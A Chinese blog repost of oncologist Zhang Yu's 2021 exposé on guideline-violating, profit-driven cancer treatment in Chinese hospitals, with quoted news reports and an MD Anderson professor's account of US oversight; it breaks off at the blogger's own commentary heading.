我无法接受无辜的患者因为医生的不良医疗行为死亡率升高甚至直接导致死亡，无论如何，都必须写下这篇文章并公布于众：阐述目前的肿瘤治疗乱象和提出可能的解决方式，呼吁国家重视和进行监管。
第一部分：当前肿瘤治疗中的乱象
肿瘤患者是非常大的群体，2020年中国新发癌症患者457万人，死亡人数达300万，死亡率居高不下，发病率仍在上升。
为什么死亡率如此之高？除了常见的诊断时已处于较晚的分期，基于我亲眼所见，我有理由相信这是因为不规范甚至错误的诊疗导致的，其中有相当比例的患者支出了不必要的昂贵花费，并且有一定比例的患者因为不规范甚至错误的诊疗而死亡。
虽然这个比例没有具体统计也很难统计，但很可能超出我们的想象。可以说，神州大地血泪斑斑，而更值得我们深思的是，直到现在，很少人发声谴责这种违反医生职业道德的行为。
我以自己的职业生涯作为担保承诺以下陈述的真实性：
在过去1年多时间里，仅仅我自己就遇到了几十家医院超过百例的肿瘤患者接受了不当甚至错误的治疗，即明显违背了肿瘤界公认基本原则的治疗，其中部分是非常恶劣的行为，后续会举例阐述。
这些不良医疗行为无一例外的导致患者的花费大幅度增加，并对患者带来伤害和痛苦，甚至有部分患者因此死亡。而且所涉及的不仅是普通的地方医院，还包括多家三甲医院的肿瘤医生，甚至是北京、上海、广州、天津和重庆等地区都有一些医生在肿瘤治疗中有明显的不端行为。
更有甚者，高度怀疑有的科室制定了统一的策略，不遵从最权威的肿瘤治疗指南（中国 CSCO 指南、美国 NCCN 指南或欧洲 ESMO 指南），对肿瘤患者故意不采用标准治疗方案而改用其它方案，并且有充分证据表明这种方案更改对患者是有害无利，因为会增加患者的经济花费、毒副反应甚至死亡率。以致于我怀疑，可能有高达 1/5 以上的患者被更改了标准治疗方案，当然，小错就更多。
坦率地说，胡乱更改标准治疗方案可谓肿瘤治疗中危害最大的一种行为。很多抗肿瘤药物本身非常好，却被一些医生甚至三甲医院医生滥用。出现这种情况的根本原因是两方面：一是专业知识不足，一是经济利益所致。以下均为临床实例：
1、有医生在对胃癌和肠癌患者进行术后辅助化疗时，用洛铂替代标准的奥沙利铂，用雷替曲塞和被淘汰的去氧氟鸟苷替代标准的 5-Fu 类药物。有充分的证据表明这种行为会造成复发转移率不同程度的升高。
2、有医生在对肠癌根治术后 III 期患者时，没有任何指证就在化疗基础上加用贝伐珠单抗/西妥昔单抗，甚至加上没有被批准用于治疗肠癌的安罗替尼或阿帕替尼。有充分证据表明此类患者只应该接受标准双药化疗，胡乱增加靶向治疗会造成复发转移率轻度增加，死亡率增加。
3、有医生在对明确不需要化疗的患者时，比如 I 期肠癌或者 IIA 期 dMMR 肠癌、IA 期胃癌患者，故意夸大病情并采用辅助化疗。有证据提示这样做只能给患者带来伤害，甚至可能增加复发转移风险。
4、有医生在胃癌和肠癌的术前化疗中，不选择最有把握的治疗方案，而选择疗效差的方案甚至采用错误的方案，比如对肠癌患者使用多西紫杉醇化疗，对胃癌患者使用培美曲塞化疗。
5、有医生甚至直接摈弃标准治疗方案，完全不对患者进行知情告知和商量，想怎么治疗就怎么治疗，比如鼻咽癌应该外放疗的更改为粒子治疗，肠癌单发肝转移应该手术的更改为射频消融或介入，不应该手术的强行手术。
6、有医生滥用 PD-1 抑制剂，在胃癌术后、胰腺癌术后、肠癌术后、胆管癌术后的明确不需要进行 PD-1 抑制剂治疗的患者，错误的告知患者可以明显增加疗效，从而诱导这些患者进行 PD-1 抑制剂治疗。
7、其它种种现象不胜枚举，比如强行要求患者做术后不需要的热灌注化疗，给不需要的患者预防性注射长效升白针，等等。
医生这行确实不容易，工作辛苦，压力大，收入与付出往往不相称，但我认为这些绝不是作恶的理由。按照医疗原则和相关法律要求，执业医生不允许胡乱更改标准方案，给予患者尽可能正确的治疗不是医生对患者的恩赐，而是医生的责任和义务。
仅仅因为患者和家属的医学知识薄弱、法律意识淡薄和医疗官司维权不易，很多医生有不良医疗行为却不必承受后果，甚至毫无麻烦。这些医生利用自己的优势地位和权力来伤害患者，显然是非常不对的行为。
三甲医院的专科医生应该是最让患者信任和放心的，这也是作为医生的荣耀，但是很遗憾目前并没有成为现实。
第二部分：发生不良医疗行为的原因
（1）缺乏监管。这是最重要的原因，医生也是人，也会犯错。但有不少医生以“个体化治疗”为幌子，随意更改和制定治疗方案，美其名曰是为了提高疗效，实际却都是为了一己之私。而我们赫然发现，对这种行为目前竟然没有有效管制。
如果没有监管，真的会有相当比例的医生把患者的治疗改得更贵更差，更有甚者，一些医生就是完全不顾患者死活，榨取最大利益，并且还不必因此受到惩罚。这就是医疗矛盾最深的根源之一。如果缺乏监管，有些医生必然会将自己的利益凌驾于患者的利益之上。
（2）部分医生的无知和贪婪。让人不敢置信的是，有的医生真的是为了钱可以置患者生命于不顾。有的时候是明知道更改患者的标准治疗方案是错的，但就是为了获取利益而进行更改，或让完全不需要治疗的肿瘤患者进行治疗，这类情况临床上屡见不鲜。
（3）患者作为弱势群体，往往只能选择相信医生而难以了解到治疗错误，甚至即使知道治疗错误却也无力反抗。给卫健委的投诉往往被打回医院自行处理，于是只能诉诸于法律，但是法律程序的复杂繁琐和高昂花费，往往使受到伤害的患者望而却步。一些收入本身偏低的患者，因病致贫，更加难以负担维权的高额花费。
系统性滥用医生职权、违反诊疗原则获取利益同时对患者造成严重损害的行为，会让很多好医生、年轻医生觉得失望和心凉，辛苦工作为患者生命付出努力的医生赚取的收入远远低于这些做出不良医疗行为的医生，这公平么？我相信国家不会对此视若无睹。
目前的医疗制度也存在问题：医生与患者的根本利益存在不一致，有时甚至是相反的。尤其在肿瘤治疗领域，更是如此。也就是说：如果医生全心全意为患者着想，一切都从患者利益出发，医生会很苦且很穷。反过来：如果医生完全不在乎患者，一切从自身利益出发，医生会得到丰厚的回报，有时甚至超过普通人的想象。
多年之前，当我后知后觉地发现这个事实之后，我默然了很久，并且第一次产生对医生这个职业产生了质疑甚至一丝厌恶。我希望医疗行业更高尚，医生更值得尊敬。
明摆着是医生的贪欲和私心作祟而做出这种无耻的事情，却偏要冠冕堂皇，肆意榨取患者的血汗。我仿佛能听见有些不良医生得意洋洋的笑声，患者的巨额花费变成变成了这些医生的豪宅豪车、香车美酒。
这就是目前最大的、继续改变的肿瘤医疗的不公平现状。
解决方案：
我反复认真的思索了很久，要治疗医疗乱象着实不易，但我觉得以下四点是最重要的方式。
（1）法律的支持，依法治理医疗乱象，这是最重要的一点。目前患者通过法律维权确实太难，国家是否可以新增关于医疗纠纷的补充条款，也就是快速处理程序：当明确医生将不符合说明书及指南、临床规范的错误药物或其它治疗方式用于患者，并且没有详细准确的的知情同意时，直接由法院判定医生失职，并快速进行经济赔偿。如此一来，患者的维权显著的缩短时间并简单易行，可以直接震慑医疗不良行为。
（2）加强监管体系。如果能解决第一条，那么就可以考虑建立不良医疗行为登记制度，一经发现，终身登记。并且可以制定例如发生3次则直接暂停医生执业资格或者永久吊销之类的细则。甚至可以考虑建立主治医生-科主任及院长负责制，从而敦促各个医院不再仅仅比拼临床和科研实力，还要非常重视防范不良医疗行为的发生。
（3）推进同行监督机制。是否可以选择部分专业水平高和职业道德过硬的医生进行定期审核，严查潜在的错误并及时改正。坦率说，很多地方医院对肿瘤的知识水平确实很落后，需要更正和进步。
（4）向民众普及正确知识。很多医学基本原则其实并不难懂。医生在做出不良医疗行为的时候，势必需要尝试扭曲患者的观念，灌输给患者错误的信息。但如果患者已经明白了是怎么回事，就会闲着增加不良医生作恶的难度。我国有很多治疗肿瘤的医生（很多是外科医生）对抗肿瘤药物的使用缺乏基本的认知，并且态度散漫，盲目自信，专业性差得一塌糊涂。
诸如上述所说，我曾见过使用多西紫杉醇治疗肠癌的外科医生，猜测是该医生觉得多西紫杉醇治疗胃癌都很好用，那么肯定可以治疗恶性程度更小的肠癌，所以予以应用，但实际上多西紫杉醇治疗肠癌完全无效。就是这样，用了错误的药物甚至导致了严重后果。患者依旧没有能力反抗不了了之，一是因为走法院程序太过于简单，二是后续治疗还需要在医院进行，不敢得罪医生。
因此恳请国家通过各种方式设立红线并严格监督执行：任何明确违规且损伤患者生命权益的不良医疗行为，必须从重从快处罚。（个人认为这是改善医疗质量的最为重要的一条，只有这条红线开展并严格执行，才能保护患者安全，减少医患纠纷，是民众之福。我甚至觉得都不需要 DRGS 系统控费，只要医生治病是以患者为中心，鉴于国家已经为民众下调了众多抗肿瘤药物的价格，只要医生不为了自身利益乱花钱，患者和医保的支出将会显著下降）。
第三部分：案例分析，一位医生怎样让患者花费增加十倍并且更早死亡
我们来看看一例典型的医疗不良行为。这位医生其实我写过，很多人已经知晓，上海知名三甲医院的普外科医生 L 医生。他和蔼可亲，说的话令很多患者觉得很有道理，但是很遗憾，实际上述只是表现，行为败坏和道德沦丧。治疗的多位患者都是以赚取利益为首要目的。
他收治了一位晚期胃癌 AFP 阳性的患者，虽然该类型少见，但根据诊疗规范也应当按照普通胃癌治疗。通常胃癌的一线治疗、二线治疗和三线治疗花费并不高，国家都可以报销。但是陆医生并不满足，结果就是这位患者的生存期明显缩短，花费比常规治疗高了10倍以上，积蓄全无并欠下十多万债务。我们来看看这位 L 医生是怎么做的。
（1）让患者进行 NGS 测序：2万左右的花费。L 医生给患者采用的 NGS 是目前认为最不可靠的抽血检验，而不是可靠性更高的肿瘤活检组织检测。也就是说，做完的 NGS 结果几乎没有任何参考价值，按照常规应该将患者诊断时使用的胃镜病理组织切片进行检测更准确，需要患者回当地取标本。但陆医生非常着急，毅然决定先抽血测了再说。
（2）采用奇葩的二线治疗方案：培美曲塞、安罗替尼、奥沙利铂、卡培他滨和他莫昔芬联合治疗，这是 L 医生自己生搬硬造出的前所未有的胃癌治疗方案。任何一个知晓肿瘤药物治疗基本知识的医生都知道，这个方案完全不合理。标准的胃癌二线化疗是紫杉类方案，目前认为这是最可能有效的治疗方案之一，并且花费较低。但强行改成上述奇葩方案后花费急剧升高，并且完全无效。
（3）向患者推荐无效、昂贵、不合法的 NKT 治疗：每次治疗费用多达3万。目前临床都认为 NKT 治疗对晚期肿瘤几乎完全无效，因此国家三令五申禁止 NKT 治疗收费，仅限于免费的临床研究。而陆医生想尽办法诱导患者家属接受该治疗，告诉患者和家属会有很好效果，使得他们借钱去进行这种治疗，最终人财两空。要知道，这些钱都是患者的血汗钱，要1年多才能存下3万元。患者和家属为了看病，每次去上海只能住地下室尽量省钱，并且抱着控制和治愈疾病的希望，满怀感激的给L医生送去特产。结果，L 医生是怎么回报的？
（4）滥用辅助用药：L 医生开具了很多辅助药物，诸如日达仙之类。当然日达仙本身是不错的药物，但是确实不适合用于经济不宽裕的患者，性价比太低。
结果就是患者被吃干抹净，当钱花完之后实在筹不到钱，陆医生就开始不闻不问，直至患者去世，生存时间很短，尽管 AFP 阳性胃癌的预后确实更差，但如果采用标准二线治疗很可能生存期更长，花费是要低非常多。
需要说明的是：我只写 L 医生，并不是因为没有其它医生这样做，甚至实际上有我认为更恶劣的案例，只是因为第一证据不足，第二我的压力过大。我有自己的工作和家庭，有儿有女，得罪的医生越多压力就越大，我的妻子、母亲反复要求我不要再指责这类黑暗的事件，但我确实忍不住，如果国家不严加管制，一定会有无辜的患者因此失去生命。
我想请求各位类似的医生，行行好，别再干这种事了，这不是医生该干的事，患者的命也是命，你们这种行为引起了我的家庭矛盾，我会非常头痛。
第四部分：期望
平心而论，国家在不断的改善和净化医疗环境，4+7 带量采购降低药价，增加医生诊疗工作收费，提高医生待遇，这些都非常好的重要举措。假如国家不降低很多肿瘤治疗药物价格，那滥用情况肯定会更加猖狂。这是一种釜底抽薪的聪明举措，但确实还不够。我期望着国家正本清源，整治不良的医疗行为。希望以后医生都能够遵守肿瘤治疗的基本规范，以患者为中心进行治疗。
监管、监管、监管。医疗行业一日无有效监管，坑害患者甚至铤而走险的医生便一日不能消除。请国家有关部门予以重视，在医疗行业，这才是最重要的事，也是民众最期盼的事。
作为医生，最重要的一个素质便是珍视每一位患者的生命。虽然我们无法把患者等同于自己的家人，但是我们应当认识到患者生命的宝贵，需要认真地对待每一位患者，尽力完成医生的天职，救死扶伤。新冠时期有多少医护人员毅然前往最高危的地区救治病人，他/她们才是我辈的榜样，而不是那些靠着不良医疗行为赚得盆满钵满的医生，对他们应当唾弃。
还有，我以前曾说过，我期盼的是公平的医疗，对患者公平，对医生也公平。医生全心全意治疗患者，以治愈患者为荣，患者能够理解、配合和体谅医生，达到最好的治疗效果。这何愁医患关系不能好转？
损害医患关系的，并不是我所指出医疗中的错误，而恰恰是那些对患者做出不良医疗行为的医生，他们才是罪魁祸首。只有遏制这些行为并依法惩处其中恶劣的行为，让每位医生好好看病，我相信，我们医生必然能够获得患者更大的信任和真正的尊敬。
我希望人人都能发声，如果每个人都畏惧遭受报复，都对这种糟糕的行为视而不见，甚至认为事不关已，那就大错特错。最终受伤的不是一个人，而是我们每个人乃至我们的后代。
呼唤监管，依法治疗医疗乱象，保护患者。这是国家应该做的事。希望国家规范医疗行为，严厉打击不良医疗行为。而且是请尽快，刻不容缓。只有这样，每个人才可以放心地走进医院，而不怕遭受不公平对待。我非常希望将来在一个更好的医疗环境中工作，医生的工作重心始终是救治患者而非其他，医生和患者相互善待，共同对抗疾病。
我希望更多的人看到这篇文章，并引起共鸣。每个人都应该知道什么是对，什么是错？
我希望自己努力发出的这点声音，能够得到更多的支持。星星之火，可以燎原。
我希望我们国家的医疗成为世界最好的医疗典范。
张煜 2021年4月18日
编程随想注：
这篇文章第三部分提到的“L 医生”，其真身是“上海新华医院普外科副主任医师陆巍”（一线城市三甲医院副主任医师）
具体参见张煜在4月初发的一条微博（截图）。
★与“张煜爆料”相关的报道
编程随想注：
“信息来源太单一”会导致偏听偏信。咱们当然不能光听张煜的一面之辞。所以俺又找来一些相关的报道。
以下这些报道，都是关于【陆巍治疗马进仓】这个案例，也就是张煜爆料中的第三部分：案例分析，一位医生怎样让患者花费增加十倍并且更早死亡
。
《肿瘤治疗黑幕被揭，核心当事人还原诱导过程 @ 新浪》（网页存档）
《肿瘤治疗黑幕，当事人经历的六大“非常规操作” @ 搜狐》（网页存档）
《肿瘤黑幕门背后——公司涉嫌违规治疗，医生曾是关联公司股东 @ 网易》（网页存档）
《“肿瘤治疗黑幕”中的胃癌患者家属：太想活下去，可能被医生骗了 @ 凤凰网》（网页存档）
★为啥癌症患者成了“唐僧肉”？
编程随想注：
本章节分享的几篇，都是多年前的报道。有助于你进一步了解天朝的【医患矛盾】。
然后大伙儿应该多想想：为啥医患矛盾持续了20多年，不但没解决，好像还变得严重了。
俺在最后一个章节会聊聊自己的看法。
《癌症病人竟成医院“唐僧肉”，过度医疗害死患者 @ 新浪》（网页存档）
（编程随想注：这篇报道发布于【2006年】——15年过去了，好像还是老样子。以下是全文引用，引文中的粗体是俺标注滴）
2006年09月28日 扬子晚报
癌症治疗费用昂贵，少则10万元，多则上百万元。因此，癌症患者是有的医院争相夺取的“肥肉”，甚至医院内部各科室之间也展开抢夺癌症病人的争斗。“外科赚了钱，就把患者转到化疗科化疗，然后再转到放疗科放疗，等到这些科室的钱都赚够了，再把病人扔到中医科去。”在广州市近日举行的一次癌症论坛上，包括南方医院副院长罗荣城在内的资深肿瘤专家，公开炮轰个别医院为赚取癌症患者的钱，恶劣手段无所不用。
乳腺癌病人住进消化科
今年4月，家住东莞的肖维珍在当地医院被确诊患上乳腺癌，在当地医院做完手术后，肖维珍的一名在广州某著名三级医院消化科工作的亲戚获悉这一消息，立即赶到东莞，说服肖维珍到自己工作的医院做化疗和放疗——具体说，就是到这家三级医院消化科做化疗和放疗。
把一名乳腺癌患者拉到消化科做化疗，实在有点风马牛不相及，万一被医院领导层发现，那么极有可能被勒令把病人转到胸外科等相关科室，这样消化科就没钱可挣了。在这种情况下，肖维珍的这名亲戚帮她想出了一个暗度陈仓的办法，让肖维珍以患胃癌的名义，住进了消化科。在消化科做完第一次化疗手术后，肖维珍即被发现肾功能不全的症状，排尿减少，见情况紧急，消化科才将收治了肖维珍的真相向院方汇报。随即肖维珍被立即转到胸外科。
“我们询问消化科的医生，想知道肖维珍的癌症分子属性，以及采用了什么化疗方案，但是消化科的医生一问三不知。”接受记者采访的这家医院胸外科医生透露，消化科的医生反而很生气，说不就是化疗和放疗吗，哪个医生不会做？
化疗不当害死患者
“治疗癌症并不是随便化疗放疗这样简单，像肖维珍这样的乳腺癌病人，必须先要对其病理进行分析，然后才能确定选取哪种化疗方案。”南方医科大学博士生导师、南方医院副院长，同时也身兼广州抗癌协会理事长的罗荣城教授接受记者采访时说，在一些综合性医院，肝胆肿瘤可以在内科治，也可在外科治，怎一个“乱”字了得？
“中医科、内科、胸外科、化疗科和生物治疗科5个科室，都可以收治肺癌患者。因为各个科室都有各科利益，医院给各个科室下了任务，科室病人多，挣的钱多，奖金也就多。”罗荣城说，“如果某些治疗可做可不做，医生当然就会选择做；如果有几种方法可以选择做，当然就选择自己的方法做。”
哪个科室的医生都可以治癌症，这样不可避免出现不规范治疗的情况。有一位患者甚至在化疗过程中因为化疗不当而致死。这位肠癌患者在广州某三级医院外科化疗时，明明已经出现肾功能不全，于是哀求医生说：“再继续化疗，我会死的。”但是由于医生对化疗后症状不知情，依然坚持继续化疗，后来病人在化疗过程中因肾衰竭致死。见此情况，那位外科大夫还很纳闷：“肿瘤病人怎么说死就死了呢？”
“这是典型的病人不知情，医生也不知情的不规范治疗。”罗荣城说，“各个科室都收治癌症病人，但绝大多数医生没有受过专业培训。”
过度治疗现象很普遍
为什么医院各个科室如此热衷收治癌症患者？罗荣城点明个中缘由：癌症治疗很赚钱。“按惯例，一名癌症病人治疗包括手术、化疗、放疗、生物治疗和内分泌治疗等过程，患者治疗下来，少则花10万元，多则上百万元。”罗荣城说。
“一般一次化疗的费用可以有很大弹性，可以是5000元，也可以是20000元，这就要看患者的经济承受能力。”在利益的驱使下，很多医生会劝说患者用较昂贵的化疗药。“本来只需要做6次化疗，但是医生往往会做到8次甚至更多。”罗荣城直言，化疗次数过多，就是过度治疗。
“一般来说，医生采取一线化疗方案2个到3个周期。如果效果好，可以继续用到6个周期。如果一线治疗方案不起作用，可以采用2线方案；如果一二线方案都没有作用，按照国内某些医院的做法，会继续采用3线、4线或者5线化疗方案——这其实已经是过度治疗了，这在广州很普遍。”罗荣城说，按照国际做法，到3线治疗方案时，其实已经加入临床试验，在美国是免费的，完全就是抱着试一试的心态，“但转到南方医院治疗的癌症病人中，做过3线以上化疗方案的病人经常看到。”
罗荣城透露，癌症患者放疗，现在有质子刀、光子刀、R 刀和中子刀几种。这些刀以及先进技术的光环对病人产生误导，“如果病灶广泛，或者已经到晚期，使用什么刀放疗都没有用。”但是有些医院不管这些，个别医生还会鼓励患者用这些不见血的“刀”。目前全国就华北某地有一台质子刀。有人跟广东一些治疗肿瘤的医生说，如果介绍一个病人到山东做质子刀放疗，介绍费就给4万元。
《有多少癌症病人成了唐僧肉？ @ 搜狐》（网页存档）
（编程随想注：这篇报道发布于4年前（2017），以下是此文的摘录，引文中的粗体是俺标注滴）
导读
前不久看到一新闻，说一个癌症病人去医院看病，医院的各个科室都忙坏了，连小儿科、泌尿科、妇产科都在抢这个肝癌病人。道理很简单，病人得了癌症，家属肯定会倾尽所有来治疗，有些医生就抓住患者家属这种心理，拼命用最贵的药。所以，每个科室都要抢，哪个科室抢着这个大肥羊，哪个科室就能多创效益。
最悲惨的结果是，病人家属钱花了，人也没了。比如像一期肺癌这类患者，术后不宜化疗，但目前很多医院病人手术后都要“被化疗”。而多次化疗不但费用高，而且会使病人免疫力急剧下降，诱发其他疾病，最终造成“人财两空”。
不要说癌症，如今就算是一微不足道的小病，只要你去了医院，在医生的一番关切的诊断下，五花八门的检查随即而来，根本容不得你丝毫的妥协。如果你不想做一些根本不必要的检查，医生也会理直气壮的告诉你，没有检查好，他无法对症下药。
原本10元钱就可以看好的病，一律说是为了稳妥起见，给你推荐几项必要的检查，再开几百元的药，临走了慎重其事和很热情地说：“吃院了这药如果还没好，再来医院看看。”
为何一小病要做这么多项检查？本来为了遏制医院靠卖药创收的冲动，卫生部门设立了一项针对医院的考核指标——“药占比”，结果是医院很快找到对策：通过给病人多做检查来“冲药比”。
于是，医院开始有意识地购买设备、大做检查，而且，越贵的设备往往越受医院欢迎。比如现在医院做一次核磁共振检查费用约1000元，有些医院给医生的处方费就高达 20% 左右，因此医生大多会让病人选择价格高的设备。
过度检查不仅会造成医疗资源的浪费，给患者带来经济上的负担，而且长期接受射线、辐射类仪器检查，也可能增加致癌的风险，给患者的身体健康带来危害。
相比过度检查，在治疗中的过度医疗行为则更为严重，其中较易被人们忽视的就是最常见的“输液”。
“能吃药不打针，能打针不输液”是世界卫生组织用药原则。但有数据显示，2009年我国医疗输液104亿瓶，相当于13亿人口每人输了8瓶液，远远高于国际上2.5至3.3瓶的水平。
输液滥用，不仅使我国病人处方的平均金额不断攀升，也给很多患者身体带来了影响，很多患者体内对头孢菌素耐药率已高达40%，而有些患者更是因医生在输液药剂配置上的失误而枉送了性命。
“无病大治、小病大治的”的现象已经到了触目惊心的地步，动不动就要住院，动不协就是输液。要知道医院是一个存在感染风险之地，有创口的检查和用药，会增加这种感染的可能性，增加病人的痛苦。在国际上，顶尖的医疗机构会鼓励就医者少住院不住院，尽量把很多治疗放在门诊，甚至包括一些手术。而与之截然相反的是，一些国内的医院却大反其道，设法去大力鼓励住院。
甚至连开药也要大力“创收”。在一些一级、二级医院中很普遍的情况是，病人的病可能一种药就可以，但医生往往会给他好几种药，其中可能只有一两种药起主要的作用，其他的都是辅助的。而辅助药中最常用的是中成药。副作用较小的药，医生开这样的药就是治不好病但是也不会有多大风险。还有多开药，例比普通感冒的药品一般开3天至5天的药量即可，而有些医生的处方却开了10天的药。
扭曲的业绩观必然带来扭曲的行为。在经济效益的刺激下，医院要发展、要进仪器、要盖高楼，就要从患者身上想方设法多收钱，从开单提成，到大处方、各种无谓的检查、滥用抗生素、向并不适宜的患者推荐使用“高新技术”、将需要转院的病人强行留住治疗……
其实这一切乱像的根本在于公共财政投入不足，导致公立医疗机构在市场化、商业化的路上滑得太远。我们现行的补贴机制，是补医院和患者。对医院的补贴，是拨款给医院。而医院部分或全部充作了办公经费，部分拿去起了漂亮的高楼大厦，当然有时候也部分用于添置必要的仪器设备。所以很多时候，高楼大厦只是富了庙和方丈，却穷了和尚，而和尚却是直接和患者打交道的。而临床一线的穷和尚们大多正急需钱，吃苦受累的人收益却少，怎么干？
......
★如何规范癌症治疗？——美国佬的经验
《如何遏制肿瘤医生治疗黑幕？美国是这样规范管理的 @ 凤凰网》（网页存档）
（编程随想注：以下是全文引用）
文/张玉蛟 美国 MD Anderson 癌症中心终身教授
核心提要：
1. 近日，“北医三院医生揭露肿瘤治疗黑幕：患者人财两空，多因医生肆意妄为”一文引起轩然大波，本文借此介绍美国在这一问题上，从教育到管理，从行医到收费，从良心到法律的一系列的规章制度。
2. NCCN（美国国家综合癌症网络）指南，是人类诊治癌症最为可靠的依据和总结，毎个医生都应该遵守。其制定和投票委员会运行严谨，所有提交的指南建议都必须要有充足的理由和临床数据，所谓循证医学；而所有投票成员必须每半年提交一次利益矛盾申明，并被严格规定从每个药企所能接受包括讲课费的最高数额。
3. 美国为了强化规范诊疗，在教育上纳入相关内容，在医保上严格管控，在道德和法律上制定标准，采用高薪资保障医生安心行医，同时提高医务团队准入门槛并引入惩罚机制。
4. 在实施“临床科研”前，必须有完整的科研计划，并经医院伦理委员会通过，病人知情同意，才能实施。否则，医生无权对病人做“科研”。
5. 个体化治疗的基础是规范治疗，决不是随意；医生在沒有具体指征的情况下，借用其他癌种或者分期上的疗效，超“规范”用药，即所谓“off label 使用”，必须先征得病人和医保的同意才能下药，同时医生自己也必须承担多一层的道德和医疗责任。
6. 美国所有医院的每一个科室，尤其是肿瘤科室，都有定期的质控讨论，定期进行同行医疗质量评定。
4月19日，早晨。我正在主持美国放射镭肿瘤学会（American Radium Society）胸部专业 AUC（Appropriate Use Criteria）恰当使用规范委员会的肿瘤医生从业专业证书教育学分 SAM webinar，忽然收到凤凰网的邀请，希望我发表对近日在公众媒体上引起轩然大波的《北医三院医生揭露肿瘤治疗黑幕：患者人财两空，多因医生肆意妄为》一文的评述。
这就是一个肿瘤 AUC 真实世界的中国现实版。该篇文章“揭露”部分中国肿瘤医生为了追求医务人员自己的经济利益，违反国际通用的 NCCN（美国国家综合癌症网络）诊疗指南以及中国 CSCO（中国临床诊疗协会）诊疗共识，采用不规范的治疗方法，延误了患者的救治，让病人最后人财两空。作者呼吁官方加强监管，以视正听。据报道，有关部门已经对该文章所列事项进行调查，我也不便做什么具体分析和评述。然而，这一案例提出了医疗行业规范化，道德化，以及相关的教育，培训，收费，管理和法制等重要议题。我就借此机会，介绍一下美国在这一问题上，从教育到管理，从行医到收费，从良心到法律的一系列的规章制度，作为一个借鉴的他山之石。
首先，什么是规范诊疗？肿瘤医生为什么必须遵循？
作为美国 NCCN 胸部肿瘤诊疗指南制定和投票委员会的成员，我上周正好向 MD Anderson 胸部肿瘤内科，外科，放疗科，病理科，放射诊断科的负责人收集关于修改 NCCN 2022年指南的意见和建议。
所有的修改意见，必须要有充足的理由和临床数据，所谓循证医学。每年，我们根据当年发表的各重大临床研究的结果，适时修改和完善指南，并由39名来自全美各大肿瘤医院（中心）的多学科委员投票通过。以2020年为例，肺癌指南修改并发表了8个更新版本，充分体现最前沿的研究成果。
为了保证委员会成员不受药企的影响，委员会要求每个成员每半年提交一次 conflict of interest 利益矛盾申明。严格规定有投票权的成员从每个药企所能接受包括讲课费的最高数额。自代表 MD Anderson 在 NCCN 胸部肿瘤委员会行使投票权以来，我必须限制自己与国际药企合作的规模和个人收入。也就是说，我这个工作量不小的志愿者，个人收入因为参加 NCCN 委员会减少了。但是，为了患者的利益，为了早日战胜癌症，这个“亏”我愿意。
NCCN 指南，是人类诊治癌症最为可靠的依据和总结。毎个医生都应该遵守。
美国如何强化规范诊疗？教育、医保、道德与法律、监管，步步互相限制，互相监督
1. 教育：医学院四年和住院医生规培（三到八年）和肿瘤专科培训（三到五年）的主要目标之一，就是学习什么是规范诊疗，什么是多学科管理。如果不懂，考试就无法通过，也就不能毕业。
2. 医保：只有在规范化治疗的基础上，医保才能报销。否则，医保有权拒付。美国的医疗费用主要由国家医保和商业医保支付，很少自费。因此，医生和医院要面对更加强势的医疗保险公司和国家医保。因此，没有医生敢在医疗上任意发挥。
3. 道德和法律：每个医学院都会教育医学生：如果只是为了钱，请不要来学医；医疗的宗旨是救死扶伤。并且，你毎天对病人所说每句话，所做的每件事，都必须做好有一天在法庭上为自己的行为和后果辩护的准备。美国有世界上最多的律师，他们无孔不入，既愿意为富人打官司，也乐意为穷人打官司。付不起律师费沒关系，官司输了不要钱，官司赢了再分成。医生可谓压力山大。
4. 高薪：为了让医务人员既怀有崇高的理想，又能安心行医，美国在收入上保障了医生的收入是美国人均收入（约五万美元）的三倍以上，也就是社会的前 1-10% 阶层。然而，几乎没有一个医生能靠行医“发财”成为“有钱人”，他们只是辛苦但富足的中上阶层。
5. 监管：美国毎个州每一年都会通告几十名甚至上百名违章和被惩罚的医生名单。而在美国要成为一名医生，除了从小是一个几乎全“A”的好学生，还要经大学本科四年，医学博士（医学院）四年，住院医师及专科规培三到八年，每年一次又一次的考核，最终才拿到执照和专家证书。他们正式工作时，通常比同龄人晚10年，并多了25万美元的学费贷款。奋斗了半辈子，已经30岁左右才拿到行医资格的每个医生，对自己的行医执照都十分珍惜。万不可因小失大，前功尽弃。
什么是“临床科研”？医生可否随意在个体患者身上进行“科研”？
所谓“临床科研”，就是还没有经循证医学证实，但从实验室及有限临床研究等依据所支持的新的诊疗方案。临床科研需要证明这一新方案更加有效，或者副作用更小，或者更加经济。而在证明之前，必须有完整的科研计划，并经医院伦理委员会通过，病人知情同意，才能实施。否则，医生无权对病人做“科研”。
在美国，临床科研并非意味着“免费”。通常，只有实验用药的药品费可能会免费。而其它的诊疗费依然由医保报销。因为，如果所有临床科研都免费，没有一个药厂能够承受费用，科技就不能进步。因此，必须全社会为创新买单。
以我所服务的 MD 安德森肿瘤医院为例，绝大多数患者都直接或者间接地参与了各种临床研究。据统计，每三个上市的癌症新药，MD Anderson 都引领或者参加了其中一个药物的研发。这也是我们医院癌症疗效好及被评为美国最好的癌症医院的重要原因之一。
临床研究的目的，就是修改和完善今后的 NCCN 诊疗指南，以受惠更多的患者。
何谓“个体化治疗”？什么又是药物的“off label 使用”？
这也是中国这个案例的重点争论之处。
个体化治疗的基础是规范治疗，决不是随意。在规范治疗的框架下，根据病人的具体情况灵活运用。正如盖一个房子，多高多大，需要什么样的基石结构，这是有基本的原则的。而厨房里的桌面，则可以个体化挑选材料和造型。
至于分子分型基础上的个体化治疗，更是严格按照规范：什么病种，什么分期测什么样的基因分型，必须有理论和实验依据。如果是在规范以外，医保有权拒付。
至于医生在沒有具体指征的情况下，借用其他癌种或者分期上的疗效，超“规范”用药，即所谓“off label 使用”，必须先征得病人和医保的同意才能下药。同时，医生自己也必须承担多一层的道德和医疗责任。
为何美国强调同行医疗质量评定？
美国所有医院的每一个科室，尤其是肿瘤科室，都有定期的质控讨论。以 MD Anderson 胸部放疗科为例，除了每周两次的多学科病例讨论，每个将接受放疗的患者的病史，治疗计划都要经毎周两次次的同行评议，并作为毎个患者的正式医疗资料记录在案。
总结起来，生命重于一切！病人把生命交在医生手中，我们当尽心尽力，像爱护自己的亲人一样，这是一个医生必备的道德标准。然而，医学又是世界上最复杂的学科之一，需要长期的专业培训和严格的专业监管。诚然，医生也是凡人，也要养家糊口。付出与收入相符合，才能有效地吸引优秀人才成为医生。
我们毎个人都应该问一下自己，将来为自己看病的人，你希望是当年品学皆优的学生，还是在其它行业混不下去的学生？答案是清楚的，剩下的就是我们怎么去做了。
★俺的点评
◇博弈
